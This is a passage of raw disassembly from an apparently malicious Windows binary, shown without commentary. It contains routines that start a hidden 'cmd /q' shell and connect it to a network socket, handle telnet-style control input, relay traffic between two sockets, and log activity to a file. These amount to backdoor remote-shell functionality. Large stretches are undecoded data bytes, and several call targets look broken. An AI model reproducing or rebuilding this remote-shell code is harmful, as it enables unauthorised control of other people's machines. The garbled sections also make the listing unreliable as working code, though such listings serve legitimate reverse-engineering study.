		jmp	short loc_410F1A
; ---------------------------------------------------------------------------

loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 2720000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2670C39h
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEB8[eax], ecx
		nop
		call	near ptr 26708E6h
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------

loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_434474
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C

loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032

loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------

loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344B4
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAF8C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------

loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		call	near ptr 2790158h
		nop
		jmp	short loc_41117C
; ---------------------------------------------------------------------------

loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx

loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_4111C8

loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h
		dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	9C15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEB4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 227F2ACh
		dd 0C84D8B90h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 227F22Dh,	90EDEB90h
		dd 27F98DE8h, 858D5002h, 0FFFFFD2Ch, 43452468h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022DECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0BCB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0EBAEE853h, 5390022Dh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAF8Ch, 187FC085h
		dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h
		dd 90022DEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 2DEAE7E8h, 106A9002h, 53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh,	50004CAFh
		dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFC415FFh
		dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 0EA4EE890h, 458D022Dh, 50106AE8h, 1C15FF57h,	83004CAFh
		dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h,	4CB00C15h
		dd 875FF00h, 0FF9DF9E8h, 0E85359FFh, 22DE9E0h, 4006890h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h
		dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 2DE983E8h, 36FF9002h, 0B00C15FFh,	75FF004Ch
		dd 9D84E808h, 5359FFFFh, 0E96AE890h
		db 2Dh,	2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]

loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4

loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2

loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE60
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791

loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE60
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC

loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 8EE89000h
		dd 390227EDh, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Dh
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 5415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	5415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFA015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 27ECC8E8h, 8DFF9002h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 90000001h, 27EC94E8h, 858D5302h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 2DE6DBE8h, 7D8B9002h,	0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh
		dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF4C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB00C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022DE4h
		dd 3E8h, 0E973E890h, 0E8570227h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 279027Eh
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-114h]
		push	offset asc_434E54 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------

loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E24
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h

loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax

loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 0BB004Ch, 6A000002h,	22E89008h, 0FF0227E8h, 4CAEF815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434E84h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h
		dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
		dd 2DE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h,	4589026Ah
		dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Dh, 69106AD0h,	234C0h
		dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch
		dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
